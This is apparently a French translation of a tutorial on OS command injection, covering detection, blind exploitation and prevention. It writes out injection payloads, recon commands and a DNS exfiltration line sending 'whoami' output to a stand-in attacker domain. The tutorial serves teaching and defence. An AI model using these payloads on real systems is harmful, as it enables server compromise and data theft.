Injection de commandes OS

Dans cette section, nous expliquerons ce qu’est l’injection de commandes OS, décrirons comment les vulnérabilités peuvent être détectées et exploitées, expliquerons certaines commandes et techniques utiles pour différents systèmes d’exploitation et résumerons comment empêcher l’injection de commandes OS.

 Injection de commande OS

Qu’est-ce que l’injection de commande OS?

L’injection de commandes OS (également appelée injection shell) est une vulnérabilité de sécurité Web qui permet à un attaquant d’exécuter des commandes de système d’exploitation (OS) arbitraires sur le serveur qui exécute une application, et généralement de compromettre complètement l’application et toutes ses données. Très souvent, un attaquant peut tirer parti d’une vulnérabilité d’injection de commandes du système d’exploitation pour compromettre d’autres parties de l’infrastructure d’hébergement, en exploitant les relations de confiance pour faire pivoter l’attaque vers d’autres systèmes de l’organisation.

Exécution de commandes arbitraires

Considérez une application d’achat qui permet à l’utilisateur de voir si un article est en stock dans un magasin particulier. Ces informations sont accessibles via une URL comme:

https://insecure-website.com/stockStatus?productID=381&storeID=29

Pour fournir les informations sur le stock, l’application doit interroger divers systèmes hérités. Pour des raisons historiques, la fonctionnalité est implémentée en appelant une commande shell avec les ID de produit et de magasin comme arguments:

stockreport.pl 381 29

Cette commande affiche l’état du stock de l’article spécifié, qui est renvoyé à l’utilisateur.

Étant donné que l’application n’implémente aucune défense contre l’injection de commandes du système d’exploitation, un attaquant peut soumettre l’entrée suivante pour exécuter une commande arbitraire:

& echo aiwefwlguh &

Si cette entrée est soumise dans le paramètre productID, alors la commande exécutée par l’application est:

stockreport.pl & echo aiwefwlguh & 29

La commande echo provoque simplement l’écho de la chaîne fournie dans la sortie, et est un moyen utile de tester certains types d’injection de commande du système d’exploitation. Le caractère & est un séparateur de commandes shell, et donc ce qui est exécuté est en fait trois commandes distinctes l’une après l’autre. Par conséquent, la sortie renvoyée à l’utilisateur est:

Error - productID was not provided
aiwefwlguh
29: command not found

Les trois lignes de sortie démontrent que:

  • La commande stockreport.pl d’origine a été exécutée sans ses arguments attendus, et a donc renvoyé un message d’erreur.
  • La commande echo injectée a été exécutée et la chaîne fournie a été reprise en écho dans la sortie.
  • L’argument d’origine 29 a été exécuté en tant que commande, ce qui a provoqué une erreur.

Placer le séparateur de commande supplémentaire & après la commande injectée est généralement utile car il sépare la commande injectée de tout ce qui suit le point d’injection. Cela réduit la probabilité que ce qui suit empêche l’exécution de la commande injectée.

Commandes utiles

Lorsque vous avez identifié une vulnérabilité d’injection de commandes du système d’exploitation, il est généralement utile d’exécuter certaines commandes initiales pour obtenir des informations sur le système que vous avez compromis. Vous trouverez ci-dessous un résumé de certaines commandes utiles sur les plates-formes Linux et Windows:

Objet de la commande Linux Windows
Nom de l’utilisateur actuel whoami whoami
Système d’exploitation uname -a ver
Configuration réseau ifconfig ipconfig /all
Connexions réseau netstat -an netstat -an
Processus en cours d’exécution ps -ef tasklist

Vulnérabilités aveugles d’injection de commandes du système d’exploitation

De nombreuses instances d’injection de commandes du système d’exploitation sont des vulnérabilités aveugles. Cela signifie que l’application ne renvoie pas la sortie de la commande dans sa réponse HTTP. Les vulnérabilités aveugles peuvent encore être exploitées, mais différentes techniques sont nécessaires.

Considérez un site Web qui permet aux utilisateurs de soumettre des commentaires sur le site. L’utilisateur entre son adresse e-mail et son message de rétroaction. L’application côté serveur génère ensuite un e-mail à un administrateur de site contenant les commentaires. Pour ce faire, il appelle le programme mail avec les détails soumis. Exemple:

mail -s "This site is great" -aFrom:[email protected] [email protected]

La sortie de la commande mail (le cas échéant) n’est pas renvoyée dans les réponses de l’application, et l’utilisation de la charge utile echo ne serait donc pas efficace. Dans cette situation, vous pouvez utiliser diverses autres techniques pour détecter et exploiter une vulnérabilité.

Détection d’une injection de commande du système d’exploitation aveugle à l’aide de délais

Vous pouvez utiliser une commande injectée qui déclenchera un délai, vous permettant de confirmer que la commande a été exécutée en fonction du temps que l’application met à répondre. La commande ping est un moyen efficace de le faire, car elle vous permet de spécifier le nombre de paquets ICMP à envoyer, et donc le temps nécessaire à l’exécution de la commande:

& ping -c 10 127.0.0.1 &

Cette commande provoquera le ping de l’application sur sa carte réseau de bouclage pendant 10 secondes.

Exploitation de l’injection de commande du système d’exploitation aveugle en redirigeant la sortie

Vous pouvez rediriger la sortie de la commande injectée dans un fichier de la racine Web que vous pouvez ensuite récupérer à l’aide de votre navigateur. Par exemple, si l’application sert des ressources statiques à partir de l’emplacement du système de fichiers /var/www/static, vous pouvez soumettre l’entrée suivante:

& whoami > /var/www/static/whoami.txt &

Le caractère > envoie la sortie de la commande whoami au fichier spécifié. Vous pouvez ensuite utiliser votre navigateur pour récupérer https://vulnerable-website.com/whoami.txt pour récupérer le fichier et afficher la sortie de la commande injectée.

Exploitation d’une injection de commande de système d’exploitation aveugle à l’aide de techniques hors bande (OAST)

Vous pouvez utiliser une commande injectée qui déclenchera une interaction réseau hors bande avec un système que vous contrôlez, à l’aide de techniques OAST. Par exemple:

& nslookup kgji2ohoyw.web-attacker.com &

Cette charge utile utilise la commande nslookup pour provoquer une recherche DNS pour le domaine spécifié. L’attaquant peut surveiller la recherche spécifiée et détecter ainsi que la commande a été injectée avec succès.

Le canal hors bande fournit également un moyen facile d’exfiltrer la sortie des commandes injectées:

& nslookup `whoami`.kgji2ohoyw.web-attacker.com &

Cela entraînera une recherche DNS sur le domaine de l’attaquant contenant le résultat de la commande whoami:

wwwuser.kgji2ohoyw.web-attacker.com

Façons d’injecter des commandes OS

Une variété de métacaractères shell peuvent être utilisés pour effectuer des attaques par injection de commandes OS.

Un certain nombre de caractères fonctionnent comme des séparateurs de commandes, permettant d’enchaîner les commandes. Les séparateurs de commandes suivants fonctionnent à la fois sur les systèmes Windows et Unix:

  • &
  • &&
  • |
  • ||

Les séparateurs de commandes suivants ne fonctionnent que sur les systèmes Unix:

  • ;
  • Saut de ligne (0x0a ou \n)

Sur les systèmes basés sur Unix, vous pouvez également utiliser des backticks ou le caractère dollar pour exécuter en ligne une commande injectée dans la commande d’origine:

  • ` commande injectée `
  • $( commande injectée )

Notez que les différents métacaractères shell ont des comportements subtilement différents qui peuvent affecter s’ils fonctionnent dans certaines situations, et s’ils permettent la récupération en bande de la sortie de commande ou s’ils ne sont utiles que pour une exploitation aveugle.

Parfois, l’entrée que vous contrôlez apparaît entre guillemets dans la commande d’origine. Dans ce cas, vous devez terminer le contexte entre guillemets (en utilisant " ou ') avant d’utiliser des métacaractères shell appropriés pour injecter une nouvelle commande.

Comment prévenir les attaques par injection de commandes du système d’exploitation

De loin, le moyen le plus efficace de prévenir les vulnérabilités par injection de commandes du système d’exploitation est de ne jamais appeler les commandes du système d’exploitation à partir du code de la couche application. Dans pratiquement tous les cas, il existe d’autres moyens de mettre en œuvre les fonctionnalités requises à l’aide d’API safer Platform.

S’il est considéré comme inévitable d’appeler des commandes du système d’exploitation avec une entrée fournie par l’utilisateur, une validation d’entrée forte doit être effectuée. Voici quelques exemples de validation efficace ::

  • Validation par rapport à une liste blanche de valeurs autorisées.
  • Validant que l’entrée est un nombre.
  • Validant que l’entrée ne contient que des caractères alphanumériques, aucune autre syntaxe ou espace blanc.

Ne tentez jamais d’assainir l’entrée en échappant aux métacaractères shell. En pratique, cela est trop sujet aux erreurs et risque d’être contourné par un attaquant qualifié.

You might also like

Laisser un commentaire

Votre adresse e-mail ne sera pas publiée.